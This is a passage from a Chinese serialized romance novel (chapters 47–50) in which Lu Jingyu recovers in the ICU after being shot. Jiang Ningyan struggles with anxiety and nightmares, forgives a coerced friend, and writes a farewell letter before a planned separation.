那股未知的力量一边压迫他,一边劝他道:“看见保护她的人死,是个人都会哭。别自作多情了。她不是断定不会爱你的吗?你走了,她反而能去看整个世界,说不定就出现能让她爱上的人了。” 陆京御的心脏像是再次被射穿了。 他走了,她反而能找到她爱的人? 把她留在他身边……是他自私了吗? 他停住了动作,人像是被抽空了,放弃了抵抗。那股未知的力量将他牵引着往前走,他甚至都不用迈动脚步。 前方的门越来越大。 他下意识地知道那是什么了。 是另一个世界。 没有人能违抗。 烟烟…… 他要彻底离开了…… 他不知道现实世界里,乱成一团。 “血压下降!” “心率下降!” “大动脉搏动停止!” 光芒越来越近,他知道跨过这扇门他就去另一个世界了。 他内心恐慌,他不放心、不甘心、他想抵抗,他还是不舍得烟烟一个人! 那声音劝道:“别动了,她根本不会爱你。” 他又像被抽空了似的,整个人被推入无底的冰冷的深渊,不断地坠落、坠落、坠落。 她不会爱他…… 永远…… “陆京御……我现在不能没有你了……”一道凄楚的恸哭声传来。 是烟烟的声音。 陆京御以为自己幻听了。 直到她吸了下鼻子,重复道:“陆京御,我现在真的不能没有你。” 陆京御猛地掀开眼帘。 光线柔和又昏暗,他眼前的事物都模糊出虚影。 屋里都是消毒药水的味道。 人影幢幢,穿着白大褂的一行人松了口气,在他病床前嘘寒问暖,他没有力气回复,他们翻了下他的眼珠,看了下指标,散去。 他环顾了一圈,没有见到想见的人。 果然是幻听。 她怎么可能跟他说,她现在真的不能没有他呢。 他失落。 他都快死了,她怎么也不在? 怎么也不来看他? 他眼神空洞地盯着天花板,心情跌到谷底。 原来刚才是梦啊。 直到……边上的手机里响起抽泣声…… 陆京御浑身倏地僵住,呼吸放轻,深怕把她惊跑了。 他的脖子像是生锈了一般,一点一点转过去,他插着呼吸机,说不了话,只是眼睛盯着边上黑屏的手机,不敢置信。 “陆京御……”手机里传来抽噎的声音。 热意席卷了陆京御的眼睛,整个眼睛都很烫,热度在他眼里堆积,温度越升越高。 “陆京御……我真的,不能没有你了……”她哽咽着,又哭又笑道。 他眼泪唰地坠落。 第47章 你说不能没有我,我得活过来 “陆京御, 你等等我……我在飞机上,很快就来陪你了……” 在飞机上,她干什么去了? 陆京御知道江立林在美国, 他激动起来,他张口想说话,但是只发出乌鸦一般的呼吸声。 江凝烟听出来了, 焦急道:“陆京御……别说话, 我没干什么。” 陆京御狠狠地松了口气。 江凝烟还年轻, 才二十出头, 她还有美好的未来, 犯不着为了个老东西搭上自己的一辈子。 他想告诉她:人生第一要务是把自己过好。 不要让仇恨和过去, 成为牢笼;不要让离别和失去,成为枷锁。 人最好的报复,就是让轻视你的人仰视你,让践踏你的人看着你绽放,甚至想阿谀都无门。 玫瑰哪怕生长在废墟之上, 只要盛开了, 就是耀眼。 江凝烟低声哽咽地说:“你别说话, 我害怕……怕你扯动伤口……我心疼……” 哪怕他现在身上麻药可能还没散, 但是只要想到他破了的地方在被拉扯, 她就受不了。 陆京御流着眼泪, 但是,唇角勾起。 上次背上受伤, 她口口声声喊着心疼, 可他一点没体会到, 但这会,他真的感觉到她的心疼了。 陆京御没力气了, 想跟她说睡一会,但是发不出声。 眼皮很沉,他没力气睁开眼,缓缓阖上。 他忽然没了一点声音,江凝烟心脏猛地停滞,手脚像是被冻住了般寒冷。 他是回光返照? 刚才还有很粗重的呼吸声,忽然没了? 仪器还没有发出“滴”的一声,但有时候心跳是会先停止的,仪器反应需要一点时间。 她捂着嘴哭,不知道是岔气还是怎么回事,忽然开始呕吐。 私人飞机豪华座位前顿时肮脏不堪。 宋枝意和顾御洲吓了一大跳,看见江凝烟缩在角落手脚都在轻微抽搐。 手指发抖,手机啪的一下坠落。 两人大惊。 宋枝意赶紧给她挪了个干净的地方,“烟烟?你怎么了烟烟?” 顾御洲立刻打电话给陆京御的妈妈确认陆京御的情况。那边一阵兵荒马乱,医生检查后,说他只是睡着了。 顾御洲说:“他只是睡着了,她怎么了?” 宋枝意说:“不知道啊,是不是太担心了,引起了身体反应?” 宋枝意抱着江凝烟,发现她穿着吸汗的运动服,后背已经全湿了。 “没事了,没事了,他没事,他只是睡着了。”宋枝意抱着她安慰。 江凝烟闭上眼,缓和了好长一段时间。 她一下一下吸气呼气、平稳呼吸,脖子上的青筋都鼓起。 没有焦距的眼过了好久才对上宋枝意的。对方眼里满是担忧。 她好像把她吓到了。 她扯了下唇角,眼眶很红,脸上都是未干的泪痕,“我以为他……刚才是回光返照……” 宋枝意抱着她哄,“没事了没事了。他会好起来的。” 江凝烟想到自己刚才吐了,怪脏的,从她怀里退了出来。 边上的空姐在收拾。 江凝烟抱歉道:“对不起,我去洗个漱。” 宋枝意跟着她起身,等着江凝烟,她抱臂,手指在手肘那儿敲击,神情严肃地跟顾御洲低声说:“她的状态不大好。心理状态不好引起了生理反应,呕吐、抽搐、这有些严重。” 顾御洲蹙眉,“她需要看医生。” 江凝烟在卫生间里洗了把脸。 刚才那个状态是她从未有过的。 她以前心理状态不好,有焦虑症,具体表现是情绪冷漠睡眠障碍。 因为心理状态不好,所以她对心理问题有些研究,也算久病成医。 出现呕吐抽搐这种症状是心理问题更严重了。 她唇线拉直。盯着镜子里的自己有几分厌弃,用沾了水的手掌打湿了镜子,模糊了镜子里的面容,转身出去- 江凝烟她们赶到的时候,陆京御一直睡着没醒。 警方已经在医院等着她做笔录。 江凝烟问他们:“便利店老板的通话记录恢复了吗?” 这是最接近可以指控江立林的证据了。 “恢复了。但依旧没有那天的记录,据说后台设备那天出了点问题,很多客户的记录都没有了。” 江凝烟身侧的拳攥紧。 都处理掉了。 “出了什么问题,谁出的问题,麻烦查清楚。” 江凝烟话是这么说,但很有可能又是一句不小心的,就没有任何证据了。 江凝烟咬了咬后牙槽。 不能心急,只要他做了,总会有破绽的。 警察离开,人群散去,医院里寂静下来。 陆永平说:“好了,都回去睡觉吧,这里我来守着,你们都回家吧。” “不要!我守在这里!”寂静的夜里声音特别响亮,甚至吓了大家一跳。 是江凝烟。 江凝烟手臂克制不住地在颤抖。 她一听陆永平要她回去,就开始控制不住。 所有人的目光集中在她身上。 发现她情绪有些激动。 宋枝意挽住她的手臂,跟陆永平说:“陆董,我和顾御洲陪着烟烟在这儿。你和阿姨都陪了一天一夜了,回去休息吧,再这样下去身体也吃不消,我们在飞机上睡过了。” 陆永平有点讶异江凝烟的状态,见她紧张得手臂都在抖,忙答应道:“好,那你们三个留在这儿。有事随时跟我打电话。” 陆永平临走前还安慰了一句江凝烟,“别太紧张了。能活下来是大概率事件。” 说完,他们离开了。 江凝烟目光落在监护室紧闭的大门上。 陆京御这间监护室是全封闭的,连块玻璃都没有。 江凝烟看不见他。 今天,她还没机会看到。 重症监护室为了防止感染不能随便进。 她跟陆京御的爸妈商量了一下,他们说明天等陆京御醒了,穿好隔离服戴好口罩再进去探视。 她在外面椅子上坐着等天亮。 坐了好一会儿才反应过来,宋枝意和顾御洲还没走。 她回过神来,“你们回去睡觉吧?这里有我不要紧的。” 宋枝意对她微微一笑,说:“我们想留在这儿。我们在飞机上睡过了也不困。” 她其实很担心江凝烟的状态。 她没想到她家内部的矛盾已经激化成这个样子了。 可想而知,从小到大受到了多少伤害,心理状态明显不理想,放她一个人实在不放心。 宋枝意说:“陆京御也没脱离危险,顾御洲也不放心。” 她这话一说,江凝烟瞳孔缩放,避开她的眼神,手指在冷硬的凳子上扣紧。 宋枝意见状,蹲在她面前,开导她说:“烟烟。你做得已经非常好了,错的是伤害你的人,千万别太自责。也别太害怕,陆董说得对,手术很顺利,命基本上能保下来了。更何况,陆京御平时身体状况很好,一定能康复的。” 江凝烟眼神空空的,没反应。 宋枝意柔声地说:“烟烟,这两天的事,对人的创伤太大,找个心理医生聊聊?我怕你虽然没有身体伤害,但是受到了心理伤害。” 朋友背叛,陆京御为保护她命悬一线,凶手可能是爷爷,却没有证据逮捕,哪一件都能把人逼疯。 江凝烟低下眼,她的心理本来就不健康。 她也不想让别人知道。 但她如今在意陆京御了,忽然觉得她这样算不算骗婚啊? 她手指扣得发白,骨节像是焊在了凳子上。 她确实该找心理医生聊一下,再测一下她如今的状态,小时候她的焦虑症不算严重,医生还表扬她,说这么严重的生存危机,她年纪这么小,只表现出情感冷漠和睡眠障碍,已经很不容易了。 她吃过助眠的药,没吃过别的药,医生让她找件特别喜欢做的事,比如画画音乐什么都可以,后来她开始写下来,把什么都写下来。 再后来有段时间没有生存危机,也就没什么睡眠障碍,对别人虽然冷漠但还能演,没有生理反应,睡眠也好了,就不再吃药了。 那时候她谁也没告诉,因为听话、乖巧、聪明、可爱的自己都不能惹这些人喜爱,生病的自己更只会被厌弃。 她没必要自讨没趣。 所以,她没有跟任何人说。 只是,悄悄地自救自愈。 如今心理大概又出了点问题,还比以前严重。 她安慰自己别过分在意,或许只是因为陆京御没脱离危险,她过分紧张。 人在过分紧张的时候也会出现生理反应。 她抬眼对宋枝意笑了一下,“我知道,我就是担心,要是他好了我还这样我会关注的。” 翌日一直到快中午,陆京御醒了。 江凝烟穿上隔离服戴上口罩,跟陆永平和沈语兮一起进去看陆京御。 医生说陆京御的各项指标都很好,把他的呼吸机撤了。 陆京御脸色有些苍白,周围都是仪器,他躺在冰冷的仪器中间,望过来的眼神却很炙热。 江凝烟对上他的眼神眼泪就哗哗地流,鼻尖酸涩。 一天一夜都很想见他,真的见到后脚像是钉子钉在原地。大脑像是不会操控了,直愣愣地看着他流泪。 看见陆永平和沈语兮围上去了才发现他身边没有位置站了,最近的位置被占了。 她手指开始控制不住地发抖。 他目光从他爸妈中间穿透,循着她望过来。 两双被水洗得黑亮的眼眸静静对视了几秒钟。 半响。 陆京御喉结滚了一下,第一次尝试张口,声音很虚弱,很艰难地拼凑三个字,“过……来……啊……” 声音嘶哑得可怕,却无限温柔的。 他放在外面的手指动了下,江凝烟看见了,挤了进去,抓住他的手,贴在脸上。 她湿答答的泪沾在他手背上,一边蹭一边泪眼婆娑地望着他。 她的眼神凄楚又可怜,毫不隐藏的深深地依恋,让陆京御心头震了下。 从没见过她这样:满眼炙热的爱意。 这种眼神甚至让陆京御觉得,好像没有他她会活不下去。 陆京御滚了下喉结,眼眶也发红,喉咙像是被打碎过,声音粗哑地道:“你说不能没有我,所以我得活过来。” 第48章 惊梦 江凝烟连连点头, 眼泪流进口罩里,口罩瞬间湿透,“嗯, 不能没有你。” 陆京御得到她这个肯定的回复,激动得几乎要从床上跳起来拥抱她。 但他现在麻药几乎散尽了,稍稍用点力, 胸口疼得厉害。 他发出一声呻.吟声。 所有人都吓了一跳。 护士焦急问道:“我的天呢, 你想干什么?你现在只能躺着不能动。你当自己中的是玩具枪啊, 还想活蹦乱跳?” 陆永平也赶忙按倒他, 他倒是最松弛, 乐呵呵地道:“高兴成这样?高兴就赶紧好起来, 有力气动了是好事。” 江凝烟见他伤那么重还挣扎着想起床愣住了,他肌肉身形依旧高大,但脸色苍白得像一张白纸,胸口的伤现在麻药肯定散了,不知道刚才那一下得有多疼。 她轻轻俯身, 虚虚地拥抱住他。 她穿着隔离服, 也不能直接接触他, 但她就是想亲近。 她的每根骨头都想亲近他。 亲近不到他, 还委屈上了, 眼泪流得更凶, “早点好起来,我都看不了你多久。他们只让看半小时, 我很快就得走了……” 陆京御鼻尖嗅到她身上的香味, 像是止疼剂一样舒缓着他身上的疼痛。他缓缓又艰难地抬起手来, 强忍着这期间牵扯的疼痛,不让自己发出一声呻.吟声。 他费力地抬起, 落到她的脊背上。 抱住之后,他闭上眼,唇角漾起一抹幸福的笑容。 护士打量着他的状态,见他额头都疼出汗了,白纸般的脸色也更加惨白,语气严肃地道:“患者要是这么会激动会逞强,我建议家属赶紧终止探视。” 终止探视…… 护士小姐姐纤细的声音就像是雷砸在江凝烟心上。 江凝烟心都被劈得裂成两半,才进来几分钟,就要让她走? 她才不要,她把他抱得更紧。 陆京御感受到了她的情绪,用嘶哑的声音断断续续地问护士,“我多久……能从ICU出去?” 他现在麻药散了,说话牵动伤口,说不利索。 护士道:“看您情恢复得还不错,没什么问题一两天吧。” 她觉得已经非常快了。 但陆京御还是蹙眉,虚弱又倔强地道:“我现在……就可以。” 这句话把陆永平和沈语兮都震惊得心跳骤停。 护士说:“您开什么玩笑?您还没脱离危险期呢。一两天稳定下,一两天都等不了?” 护士立刻跟江凝烟嘱咐,“家属这时别催啊,知道你们刚经历死别,但也得克制点,耐心等他康复。” 江凝烟自己也懊悔极了。 她该让他安心养伤,不该说这种话,但她极度渴望他,就脱口而出。 她克制地道:“好好休息,一定要万无一失。疼不疼?麻药是不是完全没用了?” 陆京御不想她再哭,其实很疼,忍着说:“还好。” 江凝烟知道他在逞强,心疼坏了,虚虚抱着他也不敢动,怕他好不容易抬起来的手掉下去,他再费力。 她眼泪不断坠落,说:“肯定很疼,对不起,都是我害的你。” 她一这样,陆京御胸口更加疼痛,“不是你害的,烟烟。” 他着急地想说话安慰她,胸口却疼得又嘶了一声。 江凝烟慌忙道:“我知道了,我就抱抱你,你别说话。” 两人就这样隔着隔离服拥抱着,丝毫不觉时间的流逝。 等时间一到,要分开了,江凝烟还贪婪地多抱了一分钟,抱到护士小姐姐催得急得上火,陆永平和沈语兮都催她,才依依不舍地起身。 陆京御也不舍得她这样,又对护士说:“我真的可以了。” 护士小姐姐语气严肃,“别胡闹啊。” 江凝烟眼泪不能克制地流出来,眼睁睁地看着门完全关上,陆京御的身影消失在门的缝隙里。 江凝烟那天谁喊都不肯睡觉。 她一点都不想睡觉。 下班之后赶来看她的宋枝意很不放心,快三天三夜不睡觉,谁能吃得消? 宋枝意只能拿出杀手锏,“不睡觉,我告诉陆京御。” 江凝烟怕陆京御又挣扎着要出ICU,只能乖乖回去睡觉。 但她失眠了。 她躺在床上,辗转反侧。 她知道陆京御各项指标良好,应该不会有危险了。 但是,她还是睡不着。 她应该是焦虑症犯了。 她爬起来写文,但很难集中精神。 她去浴室又洗了次澡,换上了陆京御的睡衣,躺进陆京御的被子里。大概身体到达了某种界限,总算闭上眼睡过去。 医院沉重的门,冰冷刚硬。 忽然被猛烈推开。 护士急匆匆地去来喊人,“感染了!” 空荡冷肃的走廊里响起回声,像是夺命的回旋镖。 江凝烟像是一缕魂魄一样飘在外面,她看着医生们冲进去,红灯亮起,然后,沉重的门再次被打开,医生垂头丧气地出来。 “抱歉。我们已经尽力了。” 江凝烟抱着被子惊坐而起,墙壁上映着佝偻的脊背,屋里回荡着剧烈的喘息声。喘息了几声之后,她撕心裂肺地哭起来。 都是她害死他的。 要不是她家的那些破事,他不会被牵连,不会受这么重的伤,也不会死。 当天晚上,她做了一个重要的决定,为了让陆京御不再有危险,她跟她爷爷打了电话, “钱我不要了。案子我也不追了。我唯一的要求就是,你不能再碰陆京御,从此我们井水不犯河水。” 在陆京御的生命面前,什么都不重要。钱更不值得一提。 她屈服了。 不能把她爷爷逼急了,他都七十多了,带走一条两条二十多岁的生命是他们太亏了。 她爷爷没说话,挂了电话。 她知道他是默许了。 第二天,她把股权转让合同寄回给了叔叔。 财产争夺彻底宣告失败,不过她认为值得,她赌不起陆京御的命。 如果再跟她爷爷产生冲突,万一他再次丧心病狂,那么挡在她面前为她披荆斩棘的一定又是陆京御。 她不能再让他出意外。 她什么都不要了,只要他健康。 警方一直在辨别那天具体是哪几个人,但是还不能确定,没乱抓。 他们当天还戴了变声器,也不好辨别声音。 开枪的那个歹徒基本可确认身份,但逃了。 江凝烟真的很担心。 不知道他们还会不会再试着杀她。 如果再试着杀她,陆京御他刚康复…… 她手指不断颤抖。 警方安慰她道:“这些人我们都教育过了,严肃跟他们说过不是你杀的。” 江凝烟觉得没有用。持枪的那个会不会觉得反正是通缉犯了,最后一搏? 一个想法在她脑海里一闪而过。 闪过的瞬间,她抱着被子,眼泪像是决堤的洪水。 陆京御第三天终于转出了ICU。 那天,江凝烟几乎就一直贴在他身上。 他的床很大,她好几天失眠睡不着,蜷在他身边,抱着他的胳膊,挨着他睡觉。 陆京御很享受。她软软地贴上来,他的唇角就一直压不下去。 她对他有多依恋,他的心就有多软。 他看着她,她脸上皮肤光滑细腻,光下仔细看还有一层薄薄的绒毛。睡姿有些可爱,手会托着下巴,他一低眼,就看见她红润的嘴唇,挺翘的鼻尖。 他看得心痒。 他轻轻的,小心翼翼地凑下去,尽量让枕头减少摩擦,悄无声息地将唇凑过去,贴住她柔软的唇,浅浅碰了一下,再轻轻撤离。 终于,喜欢我了? 他唇角勾起,眼弯成月牙。劫后余生,她终于喜欢他了,他浑身像是飘在云端,不真实又特别高兴。 唇间的触感让他留恋,他忍不住又轻轻地贴了一下她的唇,这次用上下唇含了一下她的唇珠才撤离。 有多喜欢啊? 他唇角扬得都快到鬓角。 他唇再次贴到她的唇畔,这次停得有点久。 有没有跟我喜欢你一样喜欢我? 他很想把她抱入怀里,可他侧不了身。 但她好像跟他感应似的,换了姿势,从抱着他的胳膊,变成了抱着他的上半身,胳膊压在他腹肌上,腿缠住了他的腿。唇贴在他腋下胸侧,呼吸热乎乎地吹在那,他觉得心更痒了。 陆京御一只手伸进被子里,牵住她放在他腹肌上面的手,十指紧扣。 重伤到底消耗精力,他也困了,又入睡了。 窗帘阖着,屋里光线昏昧。 两人相拥着入睡。 呼吸交缠,体温相融,画面静谧温馨。 直到江凝烟手指忽然拽紧,指甲扣得陆京御的手背有些疼,他转醒,低眼看她,她的脸藏在他的腋下,他看不清楚,但是,不间断传来抽噎声。 她在呓语。 “不要……” “别伤害他……” “求你了……” “别伤害他……” 他眉心拧紧,做噩梦了? 他是?他吗? 他紧紧扣住她的手,柔声哄道:“别怕,是梦……宝贝……是梦……” 她猛地惊醒,呼吸急促,眼神呆滞地看着前方。 “做噩梦了?”陆京御问她,“别怕,我在呢。” 陆京御抬起手,抚了一下她湿透的额角。 江凝烟脸埋进他的腋下,抱住他,吸取他身上的温度。 陆京御抚着她的后脑,“烟烟是不是吓到了?” 她咬着下唇发抖,不说话。 噩梦越来越真实,真实到让她恐惧。 陆京御温柔的声音传来,“后背都湿了。别怕,我在这儿呢。” 江凝烟抬起脸来,眼睛上都是泪痕,俯身看着他。 陆京御五官长得立体,轮廓深邃,躺着都线条利落。 她没说话,低头,带着汹涌得几乎要将陆京御吞没的情绪吻住他的唇,舌探入他的口中,跟他的舌死死纠缠。 第49章 离别信 陆京御的心情很复杂。 他心疼江凝烟做了噩梦, 又喜欢她这样热情对他。 她热情得他心潮澎湃。 他伸手扣住她的后脑,加深了这个吻。 接吻分泌的多巴胺让江凝烟崩溃的情绪平静下来,让她沉沦愉悦。 两人吻得难分难舍, 窗边的白纱窗帘上的颜色从明亮的白逐渐转换成绯艳的红。 吻完之后,两人脸蛋都白里透红,色彩像是被水滋润过的娇艳的玫瑰。 陆京御唇角扬起, 原来喜欢的人也喜欢他了, 回应他了, 是这么美妙的感觉。他一直以为江凝烟对他无感, 只是欲望驱使喜欢他的身体。从这个吻中, 他感受到了她的爱意。 太美好了, 他破碎的心脏剧烈地跳动着,忘记了疼痛,幸福与舒爽塞满心间。 他抱紧她,把她的脑袋按在自己肩膀上。 “烟烟,我很高兴。”陆京御呢喃道。 江凝烟心里像是被针刺了。 她在心里做了一个决定。 她不能坐以待毙, 等着凶手出现在一个她不可控的地方。 她要跟警方联络好, 去海岛上, 她要住在一个交通不便的岛上, 然后拐弯抹角地放出消息, 让凶手自投罗网。 海岛, 只要对方来了,根本无处可逃。 但如果, 对方抱着必死的决心, 想要拿命跟她博, 是一定会来的。 她得跟陆京御断了。 她这一去不知道多久,也不知道能不能活着回来。 这么一想, 她心脏抽痛,像是会心机梗死。 他的伤还没好,她不能让他在重伤时太激动。 所以,就这几天,她还会好好陪伴他。 陆京御稍微好转点的时候,病房里来探望的亲朋好友络绎不绝。 陆京御这样的人,深受大家喜爱。 但此刻进来的人不是陆京御的朋友,是林嘉宇,江凝烟有些意外,倒也知道是为了什么。 林嘉宇看起来有些憔悴,眼眶猩红,像是几夜没有睡觉,盯着江凝烟,直接切入主题,“能去看看薇薇吗?” 江凝烟表情平静,“她怎么了?” 林嘉宇说:“抑郁了。” 陆京御和江凝烟对视一眼,江凝烟有几分难过地说:“我可以去安慰她。但是我只能安慰一时,我们回不去了。” “可她抑郁了!”林嘉宇炸了,“一直在哭,她也不想的啊!” 江凝烟唇抿紧。 “她也是受害者!她也很难过!你就这么狠心?!这么多年薇薇是怎么对你的?十几年,你心是石头做的吗?一边是她妈妈要被撕票,她能怎么样?”林嘉宇很激动。 狠心? 她向来狠心。 王亦薇确实对她很好,一直很好,她们之间会是这个结果,她也想象不到,也没法接受。 法律可以原谅受胁迫的人,但是,她能做到原谅吗? 她渴望的感情,是无论何时都坚定地站在她身边,这也确实是她的奢望,所以她身边没有人。 如今,也就只剩陆京御了。 但她还要跟陆京御分开,她爷爷把她搞得身边没有一个人。 陆京御皱眉,眼神陷入眉宇间的阴影下,语气颇重地冷声道:“可她到底把朋友骗过去杀了。” 话音落下,病房里寂静无声。 空气像是被抽干了。 “她被朋友骗过去杀不是第一次了,她就不会受伤吗?”他冷声质问道。 他的脸沉入一片阴暗中,半空中的点滴“滴滴滴”地流淌,在静谧的病房里震耳欲聋,也像是石子砸在人心上。 “如果不是她警觉发现了不对,如果我晚一点到……知道后果吗?” 谁不心疼自己老婆? 他难以想象他晚到一点点,他的烟烟要经历什么程度的虐杀。 他不敢想象,身侧的拳握得发抖。 他知道王亦薇是受胁迫的,但是,这个结果让他无法接受。 如果是他,妈妈已经被绑架了,他只会考虑如何救出妈妈,不会把另一个人再搭进去。但关键时刻每个人的选择不一样。王亦薇想两边都保住,也被蒙蔽了,最终差点害死烟烟。 陆京御说:“原不原谅在于烟烟自己,谁也不能逼她,别想Pua她。” 林嘉宇双目猩红,痛苦得像要崩溃,“不能念在她本来就是被你卷进去的,对她宽容一点吗?” “是因为烟烟卷进去的,就是烟烟的错吗?”陆京御冷笑道,“她就活该被杀吗?” 林嘉宇想争辩,江凝烟打断了他。 “我不怪她。”江凝烟站起来说。 “我会去告诉她,我真的不怪她。” 只是,造化弄人,她们俩很难再像以前那么亲近了。 江凝烟坦然地说:“但是,林嘉宇,我确实不好,我对亲近我的人,过分严格。” 她对他笑了一下,“你会继续爱她的吧,就像当初她拯救你一样。” 林嘉宇脸色阴沉颓然,没再强求别的,说:“那当然。” 江凝烟亲了一下陆京御额头,跟他告别,问林嘉宇道:“她在哪儿呢?” 王亦薇就在楼下的病房,胸口中了一刀,眼睛像是那天一样,肿得像颗核桃,看见她进来,她的视线转过来,眼泪大颗大颗地坠落。 江凝烟看见她手腕上缠着纱布,瞳孔猛烈一缩。 她倏地扭头看林嘉宇。 林嘉宇红着眼流泪。 江凝烟心脏像是被线缠住了,窒息,疼痛。 她发现她见不得王亦薇这样。 江凝烟忽然觉得自己跟陆京御好上之后,变了。 江凝烟靠近她,每走一步,心脏就更难受一点点,越走近越发现她手背上手臂上斑驳纵横的伤疤。 王亦薇的皮肤很白很嫩,伤口看起来狰狞恐怖。 她在自残。 她的心脏狠狠一拧。 她走过去,不自觉地放轻声音跟她说:“我不怪你,薇薇。” 王亦薇眼泪决堤,“对不起烟烟……” 江凝烟告诉她,“但是我最近不能陪你了,凶手还没抓到,我就不连累你们了。” 她不再纠结原不原谅,反正现实情况也只能先分开一段时间。 王亦薇哽咽,泪汪汪的眼睛盯着她,眼神破碎可怜,“对不起,对不起烟烟。我可以为你送掉性命,但不能是我妈妈。对不起,对不起……” 江凝烟被她哭得受不了。 她认真地想了想怎么安慰她。 她把自己想象成是王亦薇,如果她为了保护妈妈,以为人家只是要坑她钱,把她引到那,王亦薇会原谅她吗? 答案是会的。 她大概会大大方方毫无芥蒂地告诉她:烟烟,坏的都是别人,不是你的错,别自责。 江凝烟心里一抽。 那瞬间,她彻底相信王亦薇说的,她可以为她送命,但不可以是她妈妈。 江凝烟好不容易忍住的眼泪掉下来。她很理智很温柔地道:“我们都好好的。把自己身体上,心理上的伤养好,等待再相聚吧。” 说完之后,她觉得自己不得了,她这么自私的人居然也会释怀。 或许这么多年王亦薇给她的关怀超过了当年被曹雪雯骗杀的恨,当年的阴影在她心里也没那么重了。或许王亦薇跟她相处了这么多年,是在某种程度上治愈过她的。 从前王亦薇灿烂治愈的笑容在她眼前回放,一帧一帧。 日子太久了。 王亦薇曾经也太真诚,不知不觉融进了她体内的细胞里。 漫长的孤独的岁月,她以为是她一个人过来的,其实,有王亦薇有林嘉宇,有欢笑,有祝福。 病房里三人哭得快把房间给淹没。 回到陆京御的病房的时候,江凝烟眼睛都是肿的,跟陆京御说了她跟王亦薇说的话。 陆京御有些意外,目光沁染着稀疏碎光,温柔又骄傲,“我们烟烟,又成长了。” 江凝烟发现她在陆京御这儿有绝对的自由。 如果她不原谅王亦薇,那他会理解并支持;如果她释怀和谅解,他会赞赏并骄傲。 这么好的陆京御,可她又要跟他分开了。 她趁眼泪没干,又扑到他怀里哭。 陆京御已经能坐起来了,他坐着靠在病床上,江凝烟抱着他压抑自己,不让自己哭得太惨烈。 结果还是哭到打嗝。 陆京御抚着她的后背,“没事了没事了,以后有我,把我放在最重要的位置。无论谁伤害了你,都记得,我在呢。这样,难受会不会少一点?” 可是,她也要失去他了。 她将一无所有。 如果她能活着回来,如果那些危险能都解决,她再好好追他,再好好请求他的原谅。 如果她死了,千万别帮她报仇。她死了,就让这一切就这么结束,及时止损。她只要陆京御好好活着,活在万人仰望的地方,活得光芒万丈,活得幸福健康。 陆京御被她哭得心碎,不断柔声安抚她,“宝贝,别哭了宝贝。” 江凝烟哭得更厉害,想听他喊她宝贝喊一辈子。 好不容易他活过来了,她又得离开。 她的心碎成一片一片。 陆京御没辙了,松开她,吻她。 两人唾液交缠着,合着眼泪接了很久的吻。 晚上,病房里很静。 陆京御这两天病重都会早睡,等她上床睡觉了他又会醒来,抱着她亲一会,然后再接着睡。 江凝烟坐在他病床边的沙发上,说是写论文,其实在给他写信。 他一天天好起来,她该走的日子也逐渐临近。 淡黄色的彩笺铺开,不知道怎么落笔。她从来没写过这么艰难的文字。 不能伤害到他,但是,又得顺利分开,不让他跟过来。 那是他的命,她赌不起输不起。 狠心伤害他,她也做不到,他还在生病,她做不出来。 几番思量,终于开始落笔,每一笔都像是刀子一样割在她心上,才写了他的名字,眼睛已经开始酸了,喉咙像是被堵住了,幸亏现在不是在说话,只是在写信。 陆京御: 啪嗒啪嗒。 两滴眼泪落在信笺上,洇出两朵水花,她慌忙擦拭,看见水渍,觉得这张信笺已经不堪重负,索性换了一张。 重新提笔。 陆京御: 展信佳。 我不要我爷爷的钱了,股权转让合同我已经还给我爷爷,不要帮我争财产了,从此你跟江家井水不犯河水。 这是我再三思考的决定。 我最近夜夜噩梦,梦见你死了,恐惧不亚于当年被吴雪雯追杀。我小时候得过焦虑症,本来已经没有大碍,频繁噩梦,又对我的心理健康造成严重的困扰。 很抱歉,非常抱歉,但我不能在你身边了,我必须跟你分开。 只有你万无一失,我才能不做噩梦。 陆京御,你是我见过最温柔最强大最善良的人,我以为权贵都是利欲熏心虚情假意,所以一开始不愿意跟你亲近,但你真诚又热忱、坦荡又明亮,多少赞美词都不够形容你。 很高兴遇见你。 能遇见你,真的太好了。 即使你不在我身边了,你的温暖已经烙进我的骨骼里,我的每一寸骨骼里都有你给过的温柔,我会照顾好自己。 即使我不在了,也不许报仇。你的世界一定要永远盛大、璀璨,耀眼。日月不晦,挚爱不坠,我会一直祝福你,一直一直爱你。 ——江凝烟 第50章 焦虑症发 江凝烟写完信, 还把离婚协议书起草了。 全部写完之后,她考虑了一下,本来一直瞒着陆京御她其实没人稀罕, 但如今,如果有什么能降低她在他心中的分量,她都愿意做。 她又写了一封。 陆京御:我要是两年不回来, 你可以去报失踪离婚。 对不起, 拖你这么久。 离婚协议书已经准备好了, 你的三十亿我会退给你。结婚时你的损失, 我可能补偿不了你太多。我没太多钱, 补偿你三亿, 我会打给你。你送的戒指太贵重了,我还给你。我只带走一条手链。 还有,一直没说我姥爷的指婚,你也不用太在意,他从来也没太在意我。 赵家把我推出来联姻, 真实目的也不是让你照顾我, 他们只是想通过联姻, 抱住陆家。 “还不睡啊?”陆京御突然出声。 江凝烟吓了一跳, 把信收好, “好了。马上睡。” “眼睛都熬红了。”陆京御跟她招手, “过来睡吧。” “来啦。” 江凝烟连续三夜噩梦,陆京御发现不对劲了。 这时候, 陆京御已经能起床, 他催促江凝烟, “到楼下找心理科医生看看,我陪你去。” 江凝烟知道她离开的时间到了, 拖不下去了。 一想到离别,她右手的无名指和小指就开始发抖,克制不住的。 她怕被陆京御发现,不能被陆京御发现。她藏起右手。 但是,心脏越跳越快,在胸腔震耳欲聋,心慌得让她浑身冒冷汗。她的焦虑症已经表现出身体的异样,她不能再拖下去了。 “我要上洗手间。” 她套上鞋子,捂着肚子火急火燎地奔向卫生间。 陆京御望着她的背影眉心拧起。 江凝烟在卫生间,右手五个手指都在止不住地发抖,双腿无力,她缓缓地滑落到地上,蜷在卫生间角落,等待这阵恐慌过去。 她甚至连灯都没开,逼仄的卫生间暗得像是密不透风的坟墓,浓重的阴霾禁锢着她的身体,她的世界暗无天光,窒闷得她喘不过气。 她从口袋里掏出一个小药包,第一次吃了抗焦虑的药。 从前她不愿意吃,怕副作用,但如今,起码得压到能离开。 “烟烟?”陆京御在外面叩响了房门。 江凝烟用力吸气呼气,调顺呼吸,眼泪都吞进了嘴里,渗入喉咙里全是苦涩的味道。 “烟烟?”陆京御音调微扬,语气有几分着急。 “我没事儿。”江凝烟稳着声音应道,“你别催啦。” 过了两分钟,这阵恐慌被她压下去,她看着镜子里脸色惨白的自己,憋了好几口气,把自己脸给憋红了再出去。 一开门,陆京御在门口等着她。 他目光担心地审视着她,见她脸色挺红润的,依旧不放心地说道:“我陪你下楼去看看医生,心理健康也要注意。” 江凝烟笑着在他脸颊上亲了一下,说:“我赶着去上课,等上完课再回来看?” 